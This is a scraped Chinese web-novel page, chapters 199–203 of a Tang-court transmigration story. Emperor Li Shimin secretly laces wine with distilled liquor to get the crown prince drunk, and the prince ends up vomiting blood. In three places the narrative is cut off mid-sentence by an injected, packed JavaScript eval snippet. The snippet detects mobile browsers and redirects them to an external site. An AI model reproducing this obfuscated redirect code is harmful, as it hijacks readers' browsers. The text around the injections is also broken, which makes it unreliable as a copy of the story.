“若说武事,陛下乃一代天骄,草民岂敢班门弄斧?” 李世民呵呵,现在奉承他,迟了! “卿多才,太子爱之,朕亦爱之。” 说到这里,李世民将目光锁到长孙无忌身上。 长孙无忌脑袋宕机,他看看皇帝,又看看高慎微,此二人绝非初见,且积“怨”颇深,皇帝明晃晃公报私仇,这“仇怨”来源多是李承乾。 “陛下信重,臣感激涕零,实在不巧,臣前日不慎崴脚,足疾初愈,不宜与人交手。有负陛下信重,臣惭愧至极,不过……” 坚决贯彻死道友不死贫道的原则,长孙无忌话锋一转,当即甩锅房玄龄,“房相也颇通武事。” 也就太子,能勾起皇帝如此深得怨气,越王离京,晋王也指明了封地,东宫官署重要部门,皆是重臣。 不出意外,储位难有变动,就算有,他已经错了一次,决不能错第二次。 李世民和李承乾斗法,存心为难高慎微,高慎微在野不在朝,说白了就是促狭天子跟儿子斗气。 房玄龄才当即拒绝组队邀请,不接长孙无忌的话茬,“大郎受先生指点,还没谢过先生。” 李世民心下冷笑,养兵千日,废在一时。 “申国公,卿之族侄,卿观之何如?” 突然被点名的高士廉很懵,长孙无忌做舅舅的不好开口挤兑太子宠臣,他姓高,他也不好贬损自家子侄吧? 皇帝平日里说话不这样,今日直接书面文言,就是要玩儿信息差,整蛊父亲。 李承乾下场解围,“高先生早年游学外乡,申国公在朝,虽是同族,却鲜有会面,难知内里,怎好置评?” 眼看拉扯个没完了,李承乾不顾父亲目光,走到皇帝身边,“父亲,臣于武事之上,实在无甚天分。” 公开场合,这还是李承乾第一次称呼他“父亲”,李世民看着李承乾,心下难言。 在场众人表情意味深长,李承乾不顾众人异样的目光,“外祖母出身高氏,申国公臣之舅公,高先生臣之表舅。当日见先生,适逢卫公腿疾,臣以表舅为师,父亲知之。” “能有耐性教导太子拳脚功夫的人不多,卫公算一个,高先生算一个。之前是卫公辗转难眠,如今该换成高先生了。” 总算说人话了,李承乾两手一摊,笑得开怀,“那没法子,臣是父亲您的儿子,父亲不愿意教,只能让别人辗转难眠了。” 李世民似笑非笑,“好,朕抽功夫教你。” 李承乾笑容僵住,又在一瞬间化开,“可别,父亲您有风疾。臣怕您辗转难眠,风疾更甚,臣于心不忍。” 李世民没好气白了一眼李承乾,“诸公作证,太子不愿朕教导于他,可别说朕不教。” 魏征开口替李承乾解围,“东宫有三少,要陛下亲自教导太子武事,这俸禄可就白拿了。” 坚决不放过任何一个挖苦魏征的机会,李世民就着魏征的话说下去,“玄成,你也没教我家承乾什么,左右挂的虚名,不若将俸禄退给朕?” 魏征道:“臣挂着是虚名,可照朝廷法度,这俸禄您还得给臣。” “玄成自比管仲乐毅,却为这黄白之物饶舌,啧啧啧!” 放过了高慎微,李世民的火力全部集中魏征身上。 李承乾看明白了,皇帝的组队申请,可以不接,但跟对面组队打自己,忍不了一点。 “魏师傅对黄白之物,的确爱之颇甚。豌豆黄,雪绵豆沙,雪团子,桂花糕……臣可没少往郑国公府送。 老人家爱甜食,也要适量才好。师傅下次可别说学生小气,实在怕送了庖厨过去,您把糕点当饭吃。 这些甜腻之物,吃多了不消化,恐伤了您老的身体。” 得太子解围,魏征不忘恭维一把皇帝,“殿下尊师重道,平日里侍奉父亲想必尽心百倍。叔玉跟在殿下身边,盼着得些长进,少气些臣。” 李世民:…… 高慎微看完全程,一颗心完全落了下来,高明这个随机应变能力,一点儿都不差,说到底是他“傻儿子”滤镜太厚了。 第199章 灌酒 东宫开小灶的事情摆上明面,形势未定,李承乾不想得罪这些二代背后的重臣,直接端水,凡是崇贤馆的二代,愿意请教他都提点几句。 大抵是房遗直的文章进步了,连房玄龄的脸色都好了许多,与李承乾同列话也多了不少。 大佬惜字如金,李承乾一眼就看出来房玄龄有所求,又摸不着他的意思,一直在这里拐弯抹角。 李承乾听得头皮发麻,直接问:“房相,有话直说。” 太子开门见山,房玄龄也不磨叽,直入主题,“陛下有意下嫁十七公主与臣的长子,遗直性子木讷,臣恐他伺候不好公主,臣的次子遗爱……” 唐朝的公主,出了名的剽悍,私生活一塌糊涂,房遗直不行,换谁来了都伺候不好。 高阳可是有名的刺头,房遗直是嫡长子,高阳公主真弄出些事情来,那是祸及全族的。 房遗爱就不一样,嫁给房遗爱,就算出了什么不可逆的大祸,房遗直监管不严,连坐不至于把房家嫡系子孙搭进去。 房玄龄不愿房遗直迎娶高阳公主,算是在可控范围内,尽可能的规避**风险。 理清楚前后逻辑,李承乾也不由得感慨“房谋”,谋国谋家,谋得的确全面。 不过,不寒颤。 为官做宰,治国平天下的背后,就是为了功德荫蔽子孙,维护特权传承。 帝王将相,一样是吃喝拉撒的普通人,如于谦、海瑞之辈,出将入相只为了“天下为公”的**理念,那样的人中国历史五千年,也没出现几个。 “外甥女的婚事,舅父可以说上话。” 太子这是问他长孙无忌的态度,房玄龄思索片刻,“司空的长子,迎娶的正是殿下亲妹长乐公主。” 这么一说,李承乾明白了,长孙无忌把人推到他这里,要他卖房玄龄面子,让房玄龄记他一个人情。 “大家族的长子长媳,应付人来送往,处置家长里短,实在辛苦。” 这些小恩小惠,还不足以拉拢房玄龄,但应下这个人情,总好过得罪这位贞观第一相。 他和房玄龄有过结,但还没到不死不休的地步,只要眼下房玄龄不出来恶心他,他也乐得帮这个忙。 房玄龄拱手拜谢,李承乾颔首还礼。 了却一桩心事,房玄龄默默松了口气,李家的女儿由不得他挑,他也只能尽可能降低风险。 有高阳公主这么一个刺头在房家闹腾,未来天子会如何他不知,眼下这位天子,他们多年交情,皇帝多少会对房家有愧疚。 更何况,公主儿媳,他房家可管不下,那高阳公主就算作天作地,丢的也是老李家的人。 大军至承天门前,尉迟宝琳又是招手又是傻笑,若非骑在战马上,尉迟恭能想象到自家崽子一蹦一跳喊“殿下”的憨样子。 “闭嘴,老子的人都给你丢完了。” 尉迟宝琳哼了一声,扭过头不去看父亲。 距离承天门一射之地,尉迟恭勒马下地,尉迟宝琳不知所以然,只是跟着父亲下马,步行上前。 李承乾和房玄龄相视一眼,也迎了上去。 尉迟恭单膝跪地,双手抱拳,声音壮若洪钟,“拜见太子殿下。” 李承乾上前扶了一把,“在太极殿设宴,陛下在太极殿为国公接风洗尘。” 尉迟宝琳道:“殿下,您都不夸我两句吗?” 尉迟恭一个眼神刀了过去,大庭广众不好发作,否则他直接上脚踹。 “这里哪有你说话的份儿,闭嘴!” 尉迟宝琳委屈巴巴,正要回嘴,却见李承乾轻轻摇头,目光示意他不要说话,他这才愤愤的闭上嘴巴。 尉迟恭见状,微不可察的一叹,他管不下的儿子,太子管住了,不知是福是祸。 到太极殿,拜见过皇帝,依着座次落座,宴会觥筹交错之间,众人围着尉迟恭父子恭贺,言语间又聊起张亮和杜荷。 今日的葡萄酒,口感有些异样,酒杯也比平日里大了些,李承乾微微皱眉,他不好酒,品不出其中好坏,就感觉怪怪的。 三杯酒下肚,李承乾吩咐宫人去取醒酒汤,李世民使了个眼色给长孙无忌和房玄龄。 两只老狐狸接到皇帝眼神示意,举杯相敬,“听明威将军说,这一次出征,殿下提点过杜荷,后续安抚如此顺利,当为殿下请功,请殿下满饮此杯。” 李世民压根儿不给李承乾拒绝的机会,“中书令敬酒,你就喝了吧!” 李承乾听懂了潜台词,让他不要得罪朝廷大佬,听人劝,吃饱饭,李承乾举杯饮下。 长孙无忌紧随其后,“殿下,咱们是舅甥,臣还没同殿下喝过酒呢!” 又是一个得罪不起的,李承乾举杯,“怎么能让舅父敬我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一番思索过后,李世民来了个瞒天过海,他将蒸馏酒酒兑进葡萄酒,还放了许多糖遮掩苦涩,又提前冰镇降低蒸馏酒的酒香,酒杯一律换大杯。 待李承乾三杯酒下肚,他让房玄龄、长孙无忌、尉迟恭做先锋,尉迟宝琳、程咬金、褚遂良、马周做中军,高士廉、萧瑀等人扫尾。 第200章 吐血 “玄成的酒,朕当然要喝。” 李世民举杯,笑盈盈饮了,目光示意程知节继续。 自己在太子的东宫任职,儿子也在崇贤馆,顶头上司明显不想喝,程知节不想劝太子的酒。 两尊大佛,没有一个能得罪不起,一番纠结过后,只能硬着头皮,举杯向太子敬酒。 “蒙陛下天恩,殿下不弃,臣得以忝居左屯卫中郎将一职。借鄂国公庆功宴,臣敬殿下一杯。” 左屯卫中郎将,东宫六率之一,程知节点名官职,压根就没打算让他避开这杯酒,李承乾含笑举杯。 “东宫戍卫,有劳卢国公费心,孤也敬卢国公一杯。” 马周有些于心不忍,毕竟他是太子左庶子,可皇帝有命,不能不从。 “臣草莽寒门,幸得陛下赏识,官至民部尚书,今又任东宫左庶子,难得今日这样机会,臣敬殿下。” 李承乾反应过来,都是得了任务来灌酒的,东宫左右中郎将的酒他都喝了,左庶子的酒更要喝了。 “尚书过谦了,陛下赏识,也是尚书有大才。” 魏征终于从李世民的纠缠里脱身,抢着开口阻止劝酒的褚遂良,“登善,你我师生一场,为师的敬你一杯。” 老师兼自己顶头上司敬酒,褚遂良不敢推辞,只能举杯满饮。 “师傅……”李承乾出声,拦下了替他挡酒的魏征,道:“这酒性烈,您上了年纪,莫要多饮。” 褚遂良逮着机会,向太子敬酒,“臣与殿下也算师出同门,这是难得的缘分,殿下请。” 小鸟依人褚遂良,老实说,李承乾不想喝,但眼下他被架起来,这面子不能不给。 魏征双拳难敌四手,只能干看着李承乾被灌酒。 “陛下,太子……” “同殿为臣多年,玄成给我个面子,满饮此杯才好。” 收到组队邀请,长孙无忌拉着房玄龄下场拖住李承乾的援军。 魏征被灌酒,李承乾只道是不好,他年轻,魏征这把年纪被灌酒很危险。 “舅父,中书令,我敬二位一杯。” 皇帝下发的任务是打头阵陪太子喝酒,太子主动敬酒,岂有拒绝之理。 二人当即丢开魏征,向李承乾迎了上去,李承乾向魏征轻轻摇头,皇帝有备而来,推是推不开的。 陪了长孙无忌和房玄龄一人一杯酒,李承乾脑袋已经开始发昏,避免有人继续劝酒,他归位以后,直接趴在案上睡了。 “阿难,你送太子回东宫歇息。” 张阿难上前,轻拍李承乾背心,“殿下,陛下命奴婢送您回东宫。” 李承乾二话不说,借张阿难搀扶的力起身,向皇帝拜了一拜,半点不带犹豫的离开这是非之地。 “殿下,陛下吩咐了步辇,您可以乘坐步辇回东宫。” 李承乾由着张阿难扶他上步辇,回到东宫整个人已经晕头转向,下了步辇只觉得两条腿不听使唤。 张阿难和吴安扶着李承乾到显德殿内室,李承乾再也撑不住,倒头睡了过去。 宫人端了醒酒汤过来,扶着李承乾起身,李承乾接了醒酒汤过来,一口闷了,倒头又继续睡。 宴饮过半,张阿难回太极殿复命。 “太子醉了,没闹脾气吧?” 张阿难道:“太子醉的厉害,没闹脾气,回去倒头就睡了,奴婢让宫人煮了醒酒汤给太子,吩咐好生照顾,赶紧过来向陛下复命。” 魏征对皇帝找人灌酒太子的行径嗤之以鼻,喝了两杯闷酒,今日不宜扫兴,过了今日再跟皇帝掰扯。 酒宴结束,李世民往东宫去,幼时李承乾醉过酒,软乎乎的小家伙,跟只小猫似的蜷在榻上,很是讨人喜欢。 显德殿宫人忙进忙出,李世民心下泛起不安,不由得加快脚下步伐,进内室,就见李承乾趴在榻上呕吐,艰难撑着身子,涨得脸色绯红。 “父亲……”李承乾看到来人,挣扎着要下榻见礼,李世民快步上前,扶住李承乾,“别动,不必多礼。” “让开。” 李承乾推了一把皇帝,没推开,半透明呕吐物沾到了皇帝衣袍。 “抱歉……” 话没说完,李承乾又继续呕了起来,干呕尤其伤人,胃被撕扯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622886|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生疼。 “对不起,弄脏了您的衣裳。” “醒酒汤呢?把醒酒汤拿过来。” 醒酒汤一早准备好了,太子喝了一些,吐了两次之后,说什么都不愿意再喝。 李世民出了一身冷汗,酒醒了大半,心下后悔不已。 “承乾,喝一些醒酒汤,会好一些。” 李承乾别开脑袋,又怕皇帝误会,解释道:“方才喝过了,都吐完了,这会子胃里疼得很,喝东西进去胃里跟火烧针扎一样,臣实在……” 话音未落,李承乾又吐了起来,李世民一把将人捞过来,李承乾被折腾的半死不活,也没力气去想自己趴在皇帝腿上吐有多狼狈。 吃进去的东西被吐了个干净,后面喝的醒酒汤也吐没了,唇齿间又苦又涩,淡黄色的液体从他喉咙翻涌出来,青涩苦味刺激着又一轮干呕。 李世民拍抚着李承乾背心,帮不了一点忙,也只能干着急,吐结束,李承乾有气无力的趴在皇帝怀里。 “父亲,您为何要舅父他们劝酒?” 李世民当然不好意思说他想看李承乾喝醉了,逗孩子同他玩闹。 “君臣共同主政,也是酒桌上的拉扯,只是没想到,你酒量不太好。” 李承乾没做怀疑,只当是酒桌文化,“原来如此,谢父亲好意,只是臣……” 一句话没说完,李承乾又吐了起来,胃里实在没什么吐的,竟是呕出血来。 火急火燎的痛楚在胃里肆虐,李承乾望着盂中醒目的红色,拿起帕子擦拭唇角残留。 血晕染在帕子上,格外刺眼,李承乾心下泛酸,少年吐血,多是年寿难永,非长寿之背。 他是太子,他若是没了,即便皇帝扶持李觉,李觉又能有多远? 贞观一朝二十三年,等到皇帝驾崩,李觉也不过才十岁,事关社稷,皇帝绝不会赌一个十岁幼童。 前太子遗孤,**风险直接飘红,真到了那日,不仅李觉保不住,连李象都会被牵连。 又一轮泛呕阻止了李承乾的伤春悲秋,胃里仿佛被野火灼烧,痛的他忍不住将身子蜷缩起来。 第201章 外甥肖舅 李世民将人扶起来,端起案上的醒酒汤喂。 胃疼得厉害,李承乾不想喝,也不能喝,可他知道皇帝的脾气,听不懂人话。 他是胃疼喝不进去,皇帝会以为他是闹脾气不愿意喝,喝下去的每一口醒酒汤,就好似拿刀在胃里划了一道口子。 一碗汤没喝完,李承乾就尽数吐了出来,鲜血染红了醒酒汤,吓得李世民醉意全无。 “侍医呢?侍医在哪里?快去请侍医!” 李承乾急忙制止李世民,“开药我吃了也是吐,刺激的胃里疼得更厉害,缓个一时片刻就好。” 李世民惊魂未定,道:“好,朕在这里陪你。” 李承乾躺在榻上,缓缓闭上眼睛,尽量稳住情绪,左手搭在右手桡动脉上,默默算心率。 “你要是想见高先生……” “别让我爸知道,我爸会担心的,臣已经遣人告诉他,明日两仪殿议政结束,陛下竟有安排,请他不用进宫。” 李世民笑了一笑,“难得,你这么心细。” 李承乾不接这个话茬子,说出他心下的疑惑。 “今天的酒有些不对劲儿,应该是是烈酒,葡萄酒的味道冲淡了烈酒的刺鼻,冰镇过后酒精挥发不明显,就更加分辨不出来了。” 李世民心下一惊,这小子猜出来了。 “臣这个年纪都有些招架不住,魏师傅年事已高,喝了那么多,只怕也凶多吉少。父亲,您让侍医去一趟郑国公府可好?” 唐初还没有蒸馏酒,他会做这玩意儿,但没拿出来过。 “父亲,您从我爸那里拿来的白酒?” “那玩意叫白酒?” 真让他猜对了,李承乾大概猜到皇帝想干什么,酒后失态,皇帝要他似顽童一般胡闹,从中找做父亲的感觉。 只能说,不切实际的想法,还吃了没文化的亏,害的他搭进去半条命。 “陛下把白酒兑到葡萄酒里了?” 皇帝做主谋,目的明确,那魏征喝的就是纯葡萄酒,不用担心了。 李世民叹气,“辅机说酒后吐真言,朕只是想着你喝醉了,吐一吐心中苦闷,不成想把你害成这样。” “父亲,以后别这么玩儿了,还好臣装醉躲得早,再多饮几杯,要出人命的。” 李世民点点头,看李承乾疼得嘴唇发白,冷汗淋淋,心下十分愧疚。 “这一次,是为父对不住你。” 李承乾道:“臣不是不能喝酒,臣有酒量也有酒德,就是喝醉了,也不会和幼童一般胡闹。” 外头有脚步声,李世民将想说的话咽了下去。 吴安隔着屏风,向两位主子见了礼数,这才开口:“禀陛下、殿下,皇长孙过来请安,在外头候着。” 李承乾道:“告诉皇长孙,我与陛下商讨要事,今日不必请安,回去做完功课,早些就寝。” 吴安退出殿外,李世民满脸愧疚的看向李承乾,“真的是对不住,朕不知道这么喝酒后果这样严重。” “臣知道,您下次别这么玩儿就行了。” 心率居高不下,需要人工干预,“父亲,您让宫人取一些冰块,混在水里,端进来。” 言罢,李承乾起身**,重复深呼吸。 不多时,宫人端进来一盆冰水混合物,李承乾取了帕子过来,贴敷在额上,又用冰水反复轻拍面部。 如此循环往复半个时辰左右,李承乾再次探脉,算心率,还是高,但比起刚才已经好了很多了。 胃里火辣辣的痛楚稍稍缓了些许,李世民深吸一口气,开口道:“臣喝酒这个事,我爸那儿您嘴巴严一些,他在这里待不久,臣不想让他担心。” 李世民听罢,忍不住吐槽:“不想让高先生担心,朕为你担心,你是一点都不顾及。” 李承乾淡淡开口,发出灵魂拷问,“父亲,你我父子扪心自问,臣哪一次遍体鳞伤不是因为您?” 李世民哑然,选择沉默。 “臣就是想装模作样尽孝,想瞒一瞒您,也得能瞒的了啊!” 李世民绕开这个话题,“可有想要吃的东西,为父吩咐宫人给你做。” 李承乾摇头,“一口都吃不了,勾兑酒实在伤人,臣十有**急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15624771|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性胃粘膜损伤,暂时吃不了东西。” “这一次,真的是为父对不住你。” 李承乾暗暗吐槽:第二次了,这句话,没话说真的可以不说。 “臣就算了,魏师傅一把年纪了,您还让舅父和房相劝他的酒。” 李世民不想继续说劝酒这个话题,就转了话锋,“魏征私下给褚遂良看奏疏那个事情,朕悄悄问褚遂良,褚遂良三缄其口,不说有,也不说没有。” “父亲觉得,是有还是没有?” 李世民道:“朕希望最好是没有,退一万步,就算是有,检举魏征,他担不起那个后果。” 李承乾点点头,他鱼死网破保魏征,就像他以废太子相逼皇帝放逐孔颍达一样,东宫的份量,还不是一个褚遂良可以撼动的。 “臣也希望没有,人无完人,魏师傅身上肯定会有毛病,退一万步就算有,也希望这件事情烂到褚遂良肚子里。” 李世民轻笑,“他现在是你的左庶子,怎么驾驭他,那是你的本事。不过承乾,你偏私魏征也太过了。” 李承乾道:“父亲是不知后事,舅父和褚遂良都被贬黜,舅父被污蔑谋反,自缢在臣黔州的故居。没有痛哭流涕的忏悔,只有愿赌服输的从容,就这一点,臣很欣赏舅父。 褚遂良只是被贬黜,还没死,就上疏提及过往旧情,言辞恳切,向雉奴讨情,他在贞观朝引以为傲的文人风骨,遇到狠人,轻轻一敲就碎了。 魏师傅折在舅父手里,同样是愿赌服输的从容,臣会等到陛下千秋万代之后,慢慢处置舅父。至于褚遂良,魏师傅折在他手里,那是对魏师傅的折辱。” “就像你谋反那样吗?没有痛哭流涕的忏悔,只有愿赌服输的从容,有理有据,条理清晰的质问朕,诛心朕,哪怕沦为阶下囚受审,依然能傲气十足的走出太极殿。朕是不是还说一句,外甥肖舅?” 李承乾顿了一顿,叹气道:“或许是这样的,哪怕臣不喜舅父的阴损,却也佩服他赴死的从容,臣很欣赏这种人。” “往后宴会,你喝茶,别喝酒了,这一次着实把朕吓**。” 第202章 试探喜好 外甥肖舅,从基因遗传学分析,有一定的科学依据。 他和皇帝,若是普通君臣,而非皇帝与太子,或许真就能和贞观其他大臣一样,能写一曲明君贤臣的赞歌。 胃里燎原般的痛楚还在继续,陪了这么久,应该能把皇帝送走。 李承乾深吸一口气,“父亲,臣累的很,想睡一会儿,明日的早朝是去不成了。” 看李承乾脸色惨白,不住的冒冷汗,李世民心下不忍,便也不再多言。 “你想去,朕还怕你这身子骨撑不住,好生歇着,养好身子,到时候朕着带你去漠北草原溜一圈儿。” 李承乾淡淡应下,闭上眼睛,随便拉了被子盖在身上。 这一次醉酒,极伤人元气。 翌日,长孙无忌前往探望,李承乾的气色极差,整个人虚脱的足足瘦了一圈。 “你是不知道,魏征那老小子,早朝把昨天跟你喝酒的大臣挨个说了一遍。” “什么?” 能被老师这么维护,李承乾很开心,可这是政治,魏征这么干很得罪人的。 “魏师傅,此事着实欠考虑了。” 长孙无忌点头,“可不是,陛下被说的脸都气红了,回去拔了剑,劈翻了个案几。” 李承乾放下策论,脸色凝重,魏征给褚遂良看奏疏那破事,到现在悬而未决,薛定谔的猫,存在极大变数,魏征又把皇帝和一堆大臣得罪的这么狠。 长孙无忌随手捡了李承乾放在案上的策论,策论署名魏叔玉,他仔细看完,连带着李承乾的批改也一并看了,脸色有些耐人寻味。 “承乾,你这个文章功底,非常人所能及。” 李承乾闻言,淡淡一笑,“随便改改,让舅父见笑了。” 长孙无忌将策论放下,“殿下,过分的自谦也是埋汰人。特别是那些身处高位的大臣,殿下在他们面前,还是不要太过谦逊。” 李承乾沉默片刻,拱手拜谢长孙无忌,“多谢舅父教诲,承乾记下了。” 长孙无忌点点头,顺手又抽出另一张策论,崇贤馆学士,房家大公子房遗直的文章。 “遗直不及叔玉,殿下批改的详尽,房相必定会感激殿下的。” 李承乾暗暗苦笑,若非父亲搞偷袭,他就单抓魏叔玉和李德謇,不至去端水。 “文章写得好,未必是能力也好。他们把策论拿来给我,我抽出时间给他们改,能领悟多少,这就是尽人事,听天命。” 长孙无忌含笑点头,将策论放回原处,“是这个道理,那只猞猁开始认人了,殿下什么时候去瞧瞧?” 崇贤馆里没有长孙家的二代,他去瞧的哪里是猞猁? “择日不如撞日,就今天吧?”说到这里,李承乾望着太极宫方向狡黠一笑,“正好,我也躲个清净。” 李承乾接茬,长孙无忌却踌躇了,“殿下,您这个身体?” “无碍!”李承乾起身,走过去扶长孙无忌,“就是吃食上要注意,劳烦舅父吩咐府上庖厨给我做一碗清粥。” 看李承乾对皇帝的恩宠避之不及,长孙无忌正要开口,就听殿外宫人高声传报。 “皇帝陛下驾到,中书令房玄龄到,鄂国公尉迟恭到,卢国公程知节到,谏议大夫褚遂良到,吏部尚书高士廉到,民部尚书马周到。” 这一堆名字,除了高士廉,都是昨日灌他喝酒的人,也是今天早上被魏征喷了的人,算上站在他身边的长孙无忌,李承乾明白了,受害者联盟。 不,李承乾默默纠正,昨天的酒局他才是受害者,这一堆那叫施暴者联盟。 李承乾迎了上去,李世民在主位上落座,一眼就瞅见了主位案上的策论。 “身体不舒服,就不用给他们改策论了。” 李承乾道:“睡得久了睡不着,干坐着实在无聊,刚好找点事情做。对了,陛下,您怎么过来了?” “今日的药吃了吗?” 李承乾愣了愣,忙道:“吃……吃了!” 这心虚的德行,一看就是没吃,这么多人看着,不好拆儿子的台,李世民装聋作哑。 观这群大佬的脸色,以他对魏征的了解,今天早朝,一个脏字没带,但说的绝对脏。 李承乾心里苦,脸上装作无事,吩咐宫人看茶,上茶点。 李世民道:“承乾,你就不问问,你那魏师傅为什么没跟着过来?” 李承乾道:“师傅要忙着门下省诸多要务,还要忙着修前朝的史书,没跟着过来,兴许被什么事情绊住了。” “哦?”李世民饶有深意看了眼长孙无忌,“国舅没跟你说今日早朝之事?” 李承乾道:“臣都病成这样了,舅父也不好让臣去干活吧?陛下,您现在都没有舅父心疼臣了。” 李世民不语,他跟长孙无忌一起长大的,他能不知道长孙无忌什么德行? 程知节放下茶汤,笑盈盈的问:“前日去国舅府上做客,国舅家的猞猁要认人了,殿下可要去国舅府上看猞猁?” 赵同志的网球场,沙同志的篮球场,往后什么场,只看新来同志喜好。 这个道理,李承乾知道,他若是回答是,只怕用不了多久,朝中大臣家里多多少少要养点什么的。 程知节这是在套他的喜好,他理解卷,也认可卷,但必须朝正确的方向卷。 “怪不得舅父近日来东宫少了,德謇总说卫公心里儿子没有山君亲。看样子舅父心里,我这个外甥,也没有猞猁亲了。” 闻言,众人笑作一团。 “朕没有你舅父疼你,你舅父疼猞猁胜过疼你,承乾,那你说说,谁最疼你。” 李承乾思索片刻,笑着回答:“现在最疼臣的,当然是臣自己了。” 高士廉不言,一味地干雪团子。 李承乾见状,不由得捏了把汗,那玩意儿糯米做的,不容易消化,老年人群体可以吃,但不能吃太多。 “申国公,您要不要看看令郎的策论?” 别再吃了,吃坏了他负不起责任! 高士廉当即放下吃了一半的雪团子,自家儿子的策论,必须得看。看完以后,看完高士廉的脸色阴沉的的不行,默默放下策论,其实也没什么看的必要。 第203章 痛苦不能消失但可以转嫁 雪团子是吃不下去,这要是没人的地,高士廉非扇自己一巴掌不可,自家儿子什么斤两自己不清楚吗?为什么要给自己找不痛快? 李承乾指了指案上的策论,“诸郎君都是好学之人,隔三差五的来请教,文章我都有批改,诸公可要看看?” 贞观天团二代,能力不详,毕竟被清理的太早,但文章,都怎么没继承到父辈的优良基因。 众人看到高士廉的脸色,对案上的几张纸都有些望而生畏。 昨天灌酒灌的爽,李承乾可是一点儿都不打算放过这群人。 “我写文章的时候,诸公指点我,我才有今日。如今,我指点诸位郎君,诸公也跟着看看,看我长进多少。” 李承乾看策论署名,依次发给众人,不出意外,众人在看完文章之后,刚才还喝茶,现在连茶都喝不进去了。 尉迟恭是唯一不受影响的,尉迟宝琳不存在请太子指点策论。 就算有,他受影响也不多,他认得些字,不是睁眼瞎,可要他品评文章,那是开玩笑。 李世民看了眼李承乾,小兔崽子报复心挺强,被魏征阴阳怪气一通吵吵,还要给自家儿子的功课辣眼睛。 房玄龄深吸一口气,抱拳谢过李承乾,“臣那……” 不成器三个字险些脱口而出,皇帝和太子给了房遗直崇贤馆学士的官职,他在这里说房遗直不成器,就是在打脸皇帝和太子。 “蒙陛下天恩,得殿下赏识,能在东宫任职,也跟着学了些眉眼高低,老臣不胜欣喜。” 李承乾道:“房相客气了,举手之劳,不足挂齿。” 程知节职业笑容破防,“殿下此番大恩,臣深感荣幸,臣家里那逆子实在不争气。” 早知今日,他就该送程处默来东宫。 李承乾笑道:“令郎能入崇贤馆,是陛下恩德,我就是改几篇文章,卢国公太客气了。” 心意领了,但皇帝在这里,别把太子架在火上烤,都是千年的狐狸,程知节勉强挤出笑来,拱手去拜谢皇帝。 可以露脸,风头得给上司,长孙无忌微笑不语,孺子可教,他的提点,李承乾不仅听懂了,还用的极好。 房玄龄到:“听陛下说,殿下病了,我等心中愧疚,正巧陛下要过来,我等也跟着过来。” 跟着皇帝过来,一切公开透明,以房玄龄的权位,不给他添堵,就是一种政治上的示好。 李承乾听懂了,笑着打趣,“中书令有所不知,陛下总说我小胳膊小腿,这下子金口玉言了。” 吃个瓜还能吃到自己头上,李世民赶紧开口,“这同朕什么关系?” 李承乾道:“昨天的酒,可是陛下叫人备的。” 李世民哑然,他也不知道酒不能那么喝。 “你要是心里实在不舒服,朕喝一场……” 李承乾连忙拒绝,皇帝的思想太跳脱了,想一出是一出,不考虑后果的那种。 “这个就不用了。” 李世民不是个好父亲,但绝对是个好皇帝,他还没有弑君的想法。 吴安在殿外请示,“殿下,您的药熬好了,可要奴婢送进去?” 李世民似笑非笑看了眼李承乾,转头唤了吴安进殿。 “这药一天吃几次。” 李承乾拼了命的使眼色,奈何吴安只敢低头回话,不敢抬头,更不敢偏过头去看太子。 “侍医嘱咐是两个时辰一遍,这是第……一遍了。” 李世民笑了笑,定定的看着吴安,“这都正午了,才第一遍?” 吴安慌忙跪下,他实在是怕,太子不肯吃药,出了事,他们这群奴婢“照顾”不周必定被问罪。 “送过来两次……” 不能再让吴安说下去了,李承乾赶忙抢下话,“药冷了,臣让他们拿下去热了。” 李世民揶揄道:“热个药这么久?这群奴婢留着做什么?” 闻言,吴安跪在地上身子不住的发抖。 李承乾急忙解释,“陛下,臣……” “你是闲不下来的人,病中都是手不释卷,朕知道你是忙的忘了时间,不用解释。” 李世民指了指吴安托盘上的药,“送来了,太子快些吃了。” 房玄龄、高士廉等人抿着唇轻笑,痛苦不会消失,但是会转移。 李承乾一脸上断头台的表情,走上前端过汤药一饮而尽,苦的他一张脸涨得通红。 “上次魏征病了,你能把药汁做成药丸,夹在茶果里头吃,轮到你自个儿,就不知变通了?” 温开水冲淡了唇齿间药汁的苦涩,李承乾缓了一口气,向皇帝回话。 “不是所有的药都能那么吃,臣是脾胃受了刺激,近日进食都有清粥为主,哪里敢吃糕点茶果。” 李世民恍然大悟,“原是如此?” “策论看完了就给我,晚些时候我要召他们过来,同他们细说的。” 看一眼自家崽子的策论,众人弯起的唇角不自觉落下,嫌弃之色溢于言表。 “我听叔玉他们说,诸公居家也查功课,不至于这般吧?” 高士廉叹气,“殿下,您不批改臣等还能将就看,您批完了,看看您的批注,再看文章……不提了……不提了……” 长孙无忌暗暗摇头,等他把人塞进来之后,坚决不看自家崽子的文章,对自己脾胃不友好。 程知节道:“殿下的精神头似乎不太好?” 大佬递来梯子,哪有不顺着下的道理? “我有午休的习惯,差不多快到时间了,让卿家见笑了。” 